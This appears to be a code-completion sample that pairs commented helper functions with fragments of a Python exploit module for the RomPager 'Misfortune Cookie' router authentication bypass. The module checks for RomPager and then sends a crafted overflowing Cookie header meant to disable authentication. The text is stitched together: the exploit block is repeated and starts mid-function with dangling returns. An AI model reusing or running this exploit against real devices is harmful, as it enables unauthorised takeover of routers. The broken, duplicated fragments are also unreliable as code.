# Path: core/io.py
# def query_yes_no(question, default="yes"):
#     """Ask a yes/no question via raw_input() and return their answer.
# 
#     "question" is a string that is presented to the user.
#     "default" is the presumed answer if the user just hits <Enter>.
#         It must be "yes" (the default), "no" or None (meaning
#         an answer is required of the user).
# 
#     The "answer" return value is True for "yes" or False for "no".
#     """
#     valid = {"yes": True, "y": True, "ye": True,
#              "no": False, "n": False}
#     if default is None:
#         prompt = " [y/n] "
#     elif default == "yes":
#         prompt = " [Y/n] "
#     elif default == "no":
#         prompt = " [y/N] "
#     else:
#         raise ValueError("invalid default answer: '%s'" % default)
# 
#     while True:
#         print_info(question + prompt)
#         choice = input().lower()
#         if default is not None and choice == '':
#             return valid[default]
#         elif choice in valid:
#             return valid[choice]
#         else:
#             print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n")
# 
# Path: interface/messages.py
# def print_failed(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import interface.utils
import requests
import requests.exceptions
import re
from core.io import query_yes_no
from interface.messages import print_failed, print_success, print_warning, print_error, print_info, print_help
                            return False
                    else:
                        print_failed("RomPager not detected, device is running: %s " % server)
                        return False
                else:
                    print_failed("Not running RomPager")
                    return False
        except requests.exceptions.Timeout:
            print_error("Timeout!")
        except requests.exceptions.ConnectionError:
            print_error("No route to host")

    def auth_bypass(self):
        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
        headers = {'User-Agent': user_agent,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
                   'Connection': 'keep-alive',
                   'Accept-Encoding': 'gzip, deflate',
                   'Cache-Control': 'no-cache',
                   'Cookie': 'C' + str(self.number) + '=' + 'B' * self.offset + '\x00'}
        target = 'http://' + self.host + ":" + self.port
        try:
            response = requests.get(target, headers=headers, timeout=60)
            if response is not None and response.status_code <= 302:
                print_success("Exploit sent, please check http://%s:%s authentication should be disabled"
                              % (self.host, self.port))
            else:
                print_error("Exploit failed")
        except requests.exceptions.Timeout:

# Path: core/io.py
# def query_yes_no(question, default="yes"):
#     """Ask a yes/no question via raw_input() and return their answer.
# 
#     "question" is a string that is presented to the user.
#     "default" is the presumed answer if the user just hits <Enter>.
#         It must be "yes" (the default), "no" or None (meaning
#         an answer is required of the user).
# 
#     The "answer" return value is True for "yes" or False for "no".
#     """
#     valid = {"yes": True, "y": True, "ye": True,
#              "no": False, "n": False}
#     if default is None:
#         prompt = " [y/n] "
#     elif default == "yes":
#         prompt = " [Y/n] "
#     elif default == "no":
#         prompt = " [y/N] "
#     else:
#         raise ValueError("invalid default answer: '%s'" % default)
# 
#     while True:
#         print_info(question + prompt)
#         choice = input().lower()
#         if default is not None and choice == '':
#             return valid[default]
#         elif choice in valid:
#             return valid[choice]
#         else:
#             print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n")
# 
# Path: interface/messages.py
# def print_failed(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/allegrosoft/misfortune_auth_bypass.py
import core.Exploit
import interface.utils
import requests
import requests.exceptions
import re
from core.io import query_yes_no
from interface.messages import print_failed, print_success, print_warning, print_error, print_info, print_help

                            return False
                    else:
                        print_failed("RomPager not detected, device is running: %s " % server)
                        return False
                else:
                    print_failed("Not running RomPager")
                    return False
        except requests.exceptions.Timeout:
            print_error("Timeout!")
        except requests.exceptions.ConnectionError:
            print_error("No route to host")

    def auth_bypass(self):
        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
        headers = {'User-Agent': user_agent,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
                   'Connection': 'keep-alive',
                   'Accept-Encoding': 'gzip, deflate',
                   'Cache-Control': 'no-cache',
                   'Cookie': 'C' + str(self.number) + '=' + 'B' * self.offset + '\x00'}
        target = 'http://' + self.host + ":" + self.port
        try:
            response = requests.get(target, headers=headers, timeout=60)
            if response is not None and response.status_code <= 302:
                print_success("Exploit sent, please check http://%s:%s authentication should be disabled"
                              % (self.host, self.port))
            else:
                print_error("Exploit failed")
        except requests.exceptions.Timeout:

            print_error("Timeout!")